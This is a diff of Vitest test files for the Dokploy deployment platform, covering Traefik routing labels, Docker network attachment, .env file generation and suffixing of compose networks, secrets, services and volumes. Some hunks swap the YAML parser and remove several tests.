{
...baseDomain,
customEntrypoint: "custom",
path: "/api",
stripPath: true,
},
"custom",
);
expect(labels).toContain(
"traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api",
);
expect(labels).toContain(
"traefik.http.routers.test-app-1-custom.middlewares=stripprefix-test-app-1",
);
});
it("should add internalPath middleware for custom entrypoint", async () => {
const labels = await createDomainLabels(
appName,
{
...baseDomain,
customEntrypoint: "custom",
internalPath: "/hello",
},
"custom",
);
expect(labels).toContain(
"traefik.http.middlewares.addprefix-test-app-1.addprefix.prefix=/hello",
);
expect(labels).toContain(
"traefik.http.routers.test-app-1-custom.middlewares=addprefix-test-app-1",
);
});
it("should add path prefix in rule for custom entrypoint", async () => {
const labels = await createDomainLabels(
appName,
{
...baseDomain,
customEntrypoint: "custom",
path: "/api",
},
"custom",
);
expect(labels).toContain(
"traefik.http.routers.test-app-1-custom.rule=Host(`example.com`) && PathPrefix(`/api`)",
);
});
it("should combine all middlewares for custom entrypoint", async () => {
const labels = await createDomainLabels(
appName,
{
...baseDomain,
customEntrypoint: "custom",
path: "/api",
stripPath: true,
internalPath: "/hello",
},
"custom",
);
expect(labels).toContain(
"traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api",
);
expect(labels).toContain(
"traefik.http.middlewares.addprefix-test-app-1.addprefix.prefix=/hello",
);
expect(labels).toContain(
"traefik.http.routers.test-app-1-custom.middlewares=stripprefix-test-app-1,addprefix-test-app-1",
);
});
it("should not add redirect-to-https for custom entrypoint even with https", async () => {
const labels = await createDomainLabels(
appName,
{
...baseDomain,
customEntrypoint: "custom",
https: true,
certificateType: "letsencrypt",
},
"custom",
);
const middlewareLabel = labels.find((l) => l.includes(".middlewares="));
// Should not contain redirect-to-https since there's only one router
expect(middlewareLabel).toBeUndefined();
});
});
@@ -4,30 +4,21 @@ import { describe, expect, it } from "vitest";
describe("addDokployNetworkToService", () => {
it("should add network to an empty array", () => {
const result = addDokployNetworkToService([]);
expect(result).toEqual(["dokploy-network", "default"]);
expect(result).toEqual(["dokploy-network"]);
});
it("should not add duplicate network to an array", () => {
const result = addDokployNetworkToService(["dokploy-network"]);
expect(result).toEqual(["dokploy-network", "default"]);
expect(result).toEqual(["dokploy-network"]);
});
it("should add network to an existing array with other networks", () => {
const result = addDokployNetworkToService(["other-network"]);
expect(result).toEqual(["other-network", "dokploy-network", "default"]);
expect(result).toEqual(["other-network", "dokploy-network"]);
});
it("should add network to an object if networks is an object", () => {
const result = addDokployNetworkToService({ "other-network": {} });
expect(result).toEqual({
"other-network": {},
"dokploy-network": {},
default: {},
});
});
it("should not duplicate default network when already present", () => {
const result = addDokployNetworkToService(["default", "dokploy-network"]);
expect(result).toEqual(["default", "dokploy-network"]);
expect(result).toEqual({ "other-network": {}, "dokploy-network": {} });
});
});
@@ -1,59 +0,0 @@
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>()),
execAsyncRemote: vi.fn(),
}));
describe("raw remote compose conversion (#4794)", () => {
it("uses the saved raw source and preserves supported mount syntax", async () => {
vi.mocked(execAsyncRemote).mockResolvedValue({
stdout: "services:\n test:\n image: alpine:latest\n",
stderr: "",
});
const compose = {
appName: "raw-stack",
composeFile: `
services:
test:
image: alpine:latest
volumes:
- type: tmpfs
target: /scratch
- type: volume
source: test-data
target: /data
tmpfs:
- /cache
volumes:
test-data:
`,
composePath: "./docker-compose.yml",
composeType: "stack",
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: "remote-server",
sourceType: "raw",
suffix: "",
} as unknown as Parameters<typeof addDomainToCompose>[0];
const converted = await addDomainToCompose(compose, []);
expect(converted?.services?.test?.volumes).toEqual([
{ type: "tmpfs", target: "/scratch" },
{
type: "volume",
source: "test-data",
target: "/data",
},
]);
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
expect(execAsyncRemote).not.toHaveBeenCalled();
});
});
@@ -1,111 +0,0 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, rmSync, writeFileSync } from "node:fs";
import { join } from "node:path";
import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
import { afterEach, describe, expect, it } from "vitest";
// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
const appName = `env-file-literals-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");
afterEach(() => {
try {
execFileSync("docker", ["compose", "down", "--remove-orphans"], {
cwd: codePath,
stdio: "ignore",
});
} catch {
// Project may not have been created (e.g. an earlier assertion failed).
}
rmSync(projectPath, { force: true, recursive: true });
});
const cases: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: '!"#$%&/()=?',
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: "abc#de",
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
APP_URL: "https://example.com",
ASSET_URL: "https://example.com",
DB_HOST: "localhost",
};
// How each value must be typed in the UI so the (unchanged) dotenv input
// parser resolves it to the raw string in `cases` above.
const inputEncoding: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: `'!"#$%&/()=?'`,
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: `"abc#de"`,
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
APP_URL: "https://example.com",
ASSET_URL: '"${APP_URL}"',
DB_HOST: '"${UNDEFINED_HOST:-localhost}"',
};
const hasDocker = () => {
try {
execFileSync("docker", ["info"], { stdio: "ignore" });
return true;
} catch {
return false;
}
};
describe.skipIf(!hasDocker())("getCreateEnvFileCommand", () => {
it("writes special environment values that Docker Compose reads back literally", () => {
mkdirSync(codePath, { recursive: true });
const serviceEnv = Object.entries(inputEncoding)
.map(([key, value]) => `${key}=${value}`)
.join("\n");
const command = getCreateEnvFileCommand({
appName,
composePath: "docker-compose.yml",
env: serviceEnv,
randomize: false,
suffix: "",
serverId: null,
environment: { project: { env: "" }, env: "" },
} as Parameters<typeof getCreateEnvFileCommand>[0]);
execFileSync("bash", ["-c", command]);
const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
cases,
)
.map((key) => ` - ${key}=\${${key}}`)
.join("\n")}\n`;
writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
const out = execFileSync(
"docker",
["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
{ cwd: codePath, encoding: "utf8" },
);
const parts = out.split("\0");
const actual: Record<string, string> = {};
for (let i = 0; i < parts.length - 1; i += 2) {
actual[parts[i] as string] = parts[i + 1] as string;
}
for (const [key, value] of Object.entries(cases)) {
expect(actual[key], key).toBe(value);
}
}, 60000);
});
@@ -1,45 +0,0 @@
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it, vi } from "vitest";
// Compose now has a `createEnvFile` toggle (default true), mirroring the
// Application builder's flag: when disabled, Dokploy never writes `.env`,
// so a repo-tracked file survives untouched.
vi.mock("@dokploy/server/utils/docker/domain", () => ({
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
}));
const baseCompose = {
appName: "env-file-toggle",
sourceType: "raw",
command: "",
composePath: "docker-compose.yml",
composeType: "docker-compose",
isolatedDeployment: false,
randomize: false,
suffix: "",
serverId: null,
env: "FOO=bar",
mounts: [],
domains: [],
environment: { project: { env: "" }, env: "" },
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
describe("getBuildComposeCommand createEnvFile toggle", () => {
it("createEnvFile: false never writes the .env file", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: false,
});
expect(command).not.toContain("base64 -d >");
});
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: true,
});
expect(command).toContain("base64 -d >");
});
});
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToNetworksRoot, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFile = `
version: "3.8"
@@ -35,7 +35,7 @@ test("Generate random hash with 8 characters", () => {
});
test("Add suffix to networks root property", () => {
const composeData = parse(composeFile) as ComposeSpecification;
const composeData = load(composeFile) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -79,7 +79,7 @@ networks:
`;
test("Add suffix to advanced networks root property (2 TRY)", () => {
const composeData = parse(composeFile2) as ComposeSpecification;
const composeData = load(composeFile2) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -120,7 +120,7 @@ networks:
`;
test("Add suffix to networks with external properties", () => {
const composeData = parse(composeFile3) as ComposeSpecification;
const composeData = load(composeFile3) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -160,7 +160,7 @@ networks:
`;
test("Add suffix to networks with IPAM configurations", () => {
const composeData = parse(composeFile4) as ComposeSpecification;
const composeData = load(composeFile4) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -201,7 +201,7 @@ networks:
`;
test("Add suffix to networks with custom options", () => {
const composeData = parse(composeFile5) as ComposeSpecification;
const composeData = load(composeFile5) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -264,7 +264,7 @@ networks:
`;
test("Add suffix to networks with static suffix", () => {
const composeData = parse(composeFile6) as ComposeSpecification;
const composeData = load(composeFile6) as ComposeSpecification;
const suffix = "testhash";
@@ -273,7 +273,7 @@ test("Add suffix to networks with static suffix", () => {
}
const networks = addSuffixToNetworksRoot(composeData.networks, suffix);
const expectedComposeData = parse(
const expectedComposeData = load(
expectedComposeFile6,
) as ComposeSpecification;
expect(networks).toStrictEqual(expectedComposeData.networks);
@@ -292,8 +292,8 @@ networks:
dokploy-network:
`;
test("It shouldn't add suffix to dokploy-network", () => {
const composeData = parse(composeFile7) as ComposeSpecification;
test("It shoudn't add suffix to dokploy-network", () => {
const composeData = load(composeFile7) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -3,8 +3,8 @@ import {
addSuffixToServiceNetworks,
generateRandomHash,
} from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFile = `
version: "3.8"
@@ -23,7 +23,7 @@ services:
`;
test("Add suffix to networks in services", () => {
const composeData = parse(composeFile) as ComposeSpecification;
const composeData = load(composeFile) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -67,7 +67,7 @@ networks:
`;
test("Add suffix to networks in services with aliases", () => {
const composeData = parse(composeFile2) as ComposeSpecification;
const composeData = load(composeFile2) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -107,7 +107,7 @@ networks:
`;
test("Add suffix to networks in services (Object with simple networks)", () => {
const composeData = parse(composeFile3) as ComposeSpecification;
const composeData = load(composeFile3) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -153,7 +153,7 @@ networks:
`;
test("Add suffix to networks in services (combined case)", () => {
const composeData = parse(composeFileCombined) as ComposeSpecification;
const composeData = load(composeFileCombined) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -195,8 +195,8 @@ services:
- dokploy-network
`;
test("It shouldn't add suffix to dokploy-network in services", () => {
const composeData = parse(composeFile7) as ComposeSpecification;
test("It shoudn't add suffix to dokploy-network in services", () => {
const composeData = load(composeFile7) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -241,11 +241,11 @@ services:
dokploy-network:
aliases:
- apid
`;
test("It shouldn't add suffix to dokploy-network in services multiples cases", () => {
const composeData = parse(composeFile8) as ComposeSpecification;
test("It shoudn't add suffix to dokploy-network in services multiples cases", () => {
const composeData = load(composeFile8) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -5,8 +5,8 @@ import {
addSuffixToServiceNetworks,
generateRandomHash,
} from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFileCombined = `
version: "3.8"
@@ -39,7 +39,7 @@ networks:
`;
test("Add suffix to networks in services and root (combined case)", () => {
const composeData = parse(composeFileCombined) as ComposeSpecification;
const composeData = load(composeFileCombined) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -89,7 +89,7 @@ test("Add suffix to networks in services and root (combined case)", () => {
expect(redisNetworks).not.toHaveProperty("backend");
});
const expectedComposeFile = parse(`
const expectedComposeFile = load(`
version: "3.8"
services:
@@ -120,7 +120,7 @@ networks:
`);
test("Add suffix to networks in compose file", () => {
const composeData = parse(composeFileCombined) as ComposeSpecification;
const composeData = load(composeFileCombined) as ComposeSpecification;
const suffix = "testhash";
if (!composeData?.networks) {
@@ -156,7 +156,7 @@ networks:
driver: bridge
`;
const expectedComposeFile2 = parse(`
const expectedComposeFile2 = load(`
version: "3.8"
services:
@@ -182,7 +182,7 @@ networks:
`);
test("Add suffix to networks in compose file with external and internal networks", () => {
const composeData = parse(composeFile2) as ComposeSpecification;
const composeData = load(composeFile2) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllNetworks(composeData, suffix);
@@ -218,7 +218,7 @@ networks:
com.docker.network.bridge.enable_icc: "true"
`;
const expectedComposeFile3 = parse(`
const expectedComposeFile3 = load(`
version: "3.8"
services:
@@ -247,7 +247,7 @@ networks:
`);
test("Add suffix to networks in compose file with multiple services and complex network configurations", () => {
const composeData = parse(composeFile3) as ComposeSpecification;
const composeData = load(composeFile3) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllNetworks(composeData, suffix);
@@ -289,7 +289,7 @@ networks:
`;
const expectedComposeFile4 = parse(`
const expectedComposeFile4 = load(`
version: "3.8"
services:
@@ -326,7 +326,7 @@ networks:
`);
test("Expect don't add suffix to dokploy-network in compose file with multiple services and complex network configurations", () => {
const composeData = parse(composeFile4) as ComposeSpecification;
const composeData = load(composeFile4) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllNetworks(composeData, suffix);
@@ -1,199 +0,0 @@
import type { Compose, ComposeSpecification } from "@dokploy/server";
import {
applyServiceNetworks,
declareUsedNetworksInRoot,
resolveServiceNetworks,
} from "@dokploy/server";
import { db } from "@dokploy/server/db";
import { beforeEach, expect, test, type vi } from "vitest";
import { parse } from "yaml";
const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
beforeEach(() => {
findManyMock.mockReset();
findManyMock.mockResolvedValue([]);
});
const baseCompose = {
serverId: null,
isolatedDeployment: false,
} as unknown as Compose;
const withServiceNetworks = (
serviceNetworks: Compose["serviceNetworks"],
): Compose => ({ ...baseCompose, serviceNetworks });
test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(result, withServiceNetworks([]));
expect(injected.size).toBe(0);
expect(result.services?.web?.networks).toBeUndefined();
expect(findManyMock).not.toHaveBeenCalled();
});
test("applyServiceNetworks: injects assigned network by networkId", async () => {
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "web",
networkIds: ["net-1"],
detachDokployNetwork: false,
},
]),
);
expect(injected.has("shared-net")).toBe(true);
expect(result.services?.web?.networks).toContain("shared-net");
});
test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
const result = parse(`
services:
db:
image: postgres
networks:
- dokploy-network
- default
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
]),
);
expect(injected.size).toBe(0);
expect(result.services?.db?.networks).not.toContain("dokploy-network");
expect(result.services?.db?.networks).not.toContain("default");
});
test("applyServiceNetworks: unknown networkId is skipped", async () => {
findManyMock.mockResolvedValue([]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "web",
networkIds: ["missing"],
detachDokployNetwork: false,
},
]),
);
expect(injected.size).toBe(0);
});
test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "ghost",
networkIds: ["net-1"],
detachDokployNetwork: false,
},
]),
);
expect(injected.size).toBe(0);
expect(result.services?.web?.networks).toBeUndefined();
});
test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
const used = parse(`
services:
web:
image: nginx
networks:
- dokploy-network
`) as ComposeSpecification;
declareUsedNetworksInRoot(used, new Set());
expect(used.networks).toHaveProperty("dokploy-network");
const unused = parse(`
services:
web:
image: nginx
networks:
- default
`) as ComposeSpecification;
declareUsedNetworksInRoot(unused, new Set());
expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
});
test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
const result = parse(`
services:
web:
image: nginx
networks:
- shared-net
`) as ComposeSpecification;
declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
expect(result.networks).toHaveProperty("shared-net");
expect(result.networks ?? {}).not.toHaveProperty("unused-net");
});
test("resolveServiceNetworks: returns dokploy-network by default", async () => {
const resolved = await resolveServiceNetworks({});
expect(resolved).toEqual([{ Target: "dokploy-network" }]);
expect(findManyMock).not.toHaveBeenCalled();
});
test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
expect(resolved).toEqual([]);
});
test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
expect(resolved).toEqual([
{ Target: "dokploy-network" },
{ Target: "overlay-a" },
]);
});
test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
const override = [{ Target: "custom-net" }];
const resolved = await resolveServiceNetworks({ networkSwarm: override });
expect(resolved).toBe(override);
expect(findManyMock).not.toHaveBeenCalled();
});
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToSecretsRoot, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
test("Generate random hash with 8 characters", () => {
const hash = generateRandomHash();
@@ -23,7 +23,7 @@ secrets:
`;
test("Add suffix to secrets in root property", () => {
const composeData = parse(composeFileSecretsRoot) as ComposeSpecification;
const composeData = load(composeFileSecretsRoot) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData?.secrets) {
@@ -52,7 +52,7 @@ secrets:
`;
test("Add suffix to secrets in root property (Test 1)", () => {
const composeData = parse(composeFileSecretsRoot1) as ComposeSpecification;
const composeData = load(composeFileSecretsRoot1) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData?.secrets) {
@@ -84,7 +84,7 @@ secrets:
`;
test("Add suffix to secrets in root property (Test 2)", () => {
const composeData = parse(composeFileSecretsRoot2) as ComposeSpecification;
const composeData = load(composeFileSecretsRoot2) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData?.secrets) {
@@ -3,8 +3,8 @@ import {
addSuffixToSecretsInServices,
generateRandomHash,
} from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFileSecretsServices = `
version: "3.8"
@@ -21,7 +21,7 @@ secrets:
`;
test("Add suffix to secrets in services", () => {
const composeData = parse(composeFileSecretsServices) as ComposeSpecification;
const composeData = load(composeFileSecretsServices) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
@@ -54,9 +54,7 @@ secrets:
`;
test("Add suffix to secrets in services (Test 1)", () => {
const composeData = parse(
composeFileSecretsServices1,
) as ComposeSpecification;
const composeData = load(composeFileSecretsServices1) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
@@ -95,9 +93,7 @@ secrets:
`;
test("Add suffix to secrets in services (Test 2)", () => {
const composeData = parse(
composeFileSecretsServices2,
) as ComposeSpecification;
const composeData = load(composeFileSecretsServices2) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToAllSecrets } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFileCombinedSecrets = `
version: "3.8"
@@ -25,7 +25,7 @@ secrets:
file: ./app_secret.txt
`;
const expectedComposeFileCombinedSecrets = parse(`
const expectedComposeFileCombinedSecrets = load(`
version: "3.8"
services:
@@ -48,7 +48,7 @@ secrets:
`) as ComposeSpecification;
test("Add suffix to all secrets", () => {
const composeData = parse(composeFileCombinedSecrets) as ComposeSpecification;
const composeData = load(composeFileCombinedSecrets) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllSecrets(composeData, suffix);
@@ -77,7 +77,7 @@ secrets:
file: ./cache_secret.txt
`;
const expectedComposeFileCombinedSecrets3 = parse(`
const expectedComposeFileCombinedSecrets3 = load(`
version: "3.8"
services:
@@ -99,9 +99,7 @@ secrets:
`) as ComposeSpecification;
test("Add suffix to all secrets (3rd Case)", () => {
const composeData = parse(
composeFileCombinedSecrets3,
) as ComposeSpecification;
const composeData = load(composeFileCombinedSecrets3) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllSecrets(composeData, suffix);
@@ -130,7 +128,7 @@ secrets:
file: ./db_password.txt
`;
const expectedComposeFileCombinedSecrets4 = parse(`
const expectedComposeFileCombinedSecrets4 = load(`
version: "3.8"
services:
@@ -152,9 +150,7 @@ secrets:
`) as ComposeSpecification;
test("Add suffix to all secrets (4th Case)", () => {
const composeData = parse(
composeFileCombinedSecrets4,
) as ComposeSpecification;
const composeData = load(composeFileCombinedSecrets4) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllSecrets(composeData, suffix);
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToServiceNames, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFile = `
version: "3.8"
@@ -27,7 +27,7 @@ test("Generate random hash with 8 characters", () => {
});
test("Add suffix to service names with container_name in compose file", () => {
const composeData = parse(composeFile) as ComposeSpecification;
const composeData = load(composeFile) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToServiceNames, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
test("Generate random hash with 8 characters", () => {
const hash = generateRandomHash();
@@ -32,7 +32,7 @@ networks:
`;
test("Add suffix to service names with depends_on (array) in compose file", () => {
const composeData = parse(composeFile4) as ComposeSpecification;
const composeData = load(composeFile4) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -102,7 +102,7 @@ networks:
`;
test("Add suffix to service names with depends_on (object) in compose file", () => {
const composeData = parse(composeFile5) as ComposeSpecification;
const composeData = load(composeFile5) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToServiceNames, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
test("Generate random hash with 8 characters", () => {
const hash = generateRandomHash();
@@ -30,7 +30,7 @@ networks:
`;
test("Add suffix to service names with extends (string) in compose file", () => {
const composeData = parse(composeFile6) as ComposeSpecification;
const composeData = load(composeFile6) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -90,7 +90,7 @@ networks:
`;
test("Add suffix to service names with extends (object) in compose file", () => {
const composeData = parse(composeFile7) as ComposeSpecification;
const composeData = load(composeFile7) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToServiceNames, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
test("Generate random hash with 8 characters", () => {
const hash = generateRandomHash();
@@ -31,7 +31,7 @@ networks:
`;
test("Add suffix to service names with links in compose file", () => {
const composeData = parse(composeFile2) as ComposeSpecification;
const composeData = load(composeFile2) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToServiceNames, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
test("Generate random hash with 8 characters", () => {
const hash = generateRandomHash();
@@ -26,7 +26,7 @@ networks:
`;
test("Add suffix to service names in compose file", () => {
const composeData = parse(composeFile) as ComposeSpecification;
const composeData = load(composeFile) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -3,8 +3,8 @@ import {
addSuffixToAllServiceNames,
addSuffixToServiceNames,
} from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFileCombinedAllCases = `
version: "3.8"
@@ -38,7 +38,7 @@ networks:
driver: bridge
`;
const expectedComposeFile = parse(`
const expectedComposeFile = load(`
version: "3.8"
services:
@@ -71,9 +71,7 @@ networks:
`);
test("Add suffix to all service names in compose file", () => {
const composeData = parse(
composeFileCombinedAllCases,
) as ComposeSpecification;
const composeData = load(composeFileCombinedAllCases) as ComposeSpecification;
const suffix = "testhash";
@@ -133,7 +131,7 @@ networks:
driver: bridge
`;
const expectedComposeFile1 = parse(`
const expectedComposeFile1 = load(`
version: "3.8"
services:
@@ -178,7 +176,7 @@ networks:
`) as ComposeSpecification;
test("Add suffix to all service names in compose file 1", () => {
const composeData = parse(composeFile1) as ComposeSpecification;
const composeData = load(composeFile1) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllServiceNames(composeData, suffix);
@@ -229,7 +227,7 @@ networks:
driver: bridge
`;
const expectedComposeFile2 = parse(`
const expectedComposeFile2 = load(`
version: "3.8"
services:
@@ -273,7 +271,7 @@ networks:
`) as ComposeSpecification;
test("Add suffix to all service names in compose file 2", () => {
const composeData = parse(composeFile2) as ComposeSpecification;
const composeData = load(composeFile2) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllServiceNames(composeData, suffix);
@@ -324,7 +322,7 @@ networks:
driver: bridge
`;
const expectedComposeFile3 = parse(`
const expectedComposeFile3 = load(`
version: "3.8"
services:
@@ -368,7 +366,7 @@ networks:
`) as ComposeSpecification;
test("Add suffix to all service names in compose file 3", () => {
const composeData = parse(composeFile3) as ComposeSpecification;
const composeData = load(composeFile3) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllServiceNames(composeData, suffix);
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToServiceNames, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
test("Generate random hash with 8 characters", () => {
const hash = generateRandomHash();
@@ -35,7 +35,7 @@ networks:
`;
test("Add suffix to service names with volumes_from in compose file", () => {
const composeData = parse(composeFile3) as ComposeSpecification;
const composeData = load(composeFile3) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -4,8 +4,8 @@ import {
addSuffixToVolumesRoot,
generateRandomHash,
} from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFile = `
services:
@@ -70,7 +70,7 @@ volumes:
driver: local
`;
const expectedDockerCompose = parse(`
const expectedDockerCompose = load(`
services:
mail:
image: bytemark/smtp
@@ -143,7 +143,7 @@ test("Generate random hash with 8 characters", () => {
// Docker compose needs unique names for services, volumes, networks and containers
// So base on a input which is a dockercompose file, it should replace the name with a hash and return a new dockercompose file
test("Add suffix to volumes root property", () => {
const composeData = parse(composeFile) as ComposeSpecification;
const composeData = load(composeFile) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -165,7 +165,7 @@ test("Add suffix to volumes root property", () => {
});
test("Expect to change the suffix in all the possible places", () => {
const composeData = parse(composeFile) as ComposeSpecification;
const composeData = load(composeFile) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllVolumes(composeData, suffix);
@@ -195,7 +195,7 @@ volumes:
mongo-data:
`;
const expectedDockerCompose2 = parse(`
const expectedDockerCompose2 = load(`
version: '3.8'
services:
app:
@@ -218,7 +218,7 @@ volumes:
`) as ComposeSpecification;
test("Expect to change the suffix in all the possible places (2 Try)", () => {
const composeData = parse(composeFile2) as ComposeSpecification;
const composeData = load(composeFile2) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllVolumes(composeData, suffix);
@@ -248,7 +248,7 @@ volumes:
mongo-data:
`;
const expectedDockerCompose3 = parse(`
const expectedDockerCompose3 = load(`
version: '3.8'
services:
app:
@@ -271,7 +271,7 @@ volumes:
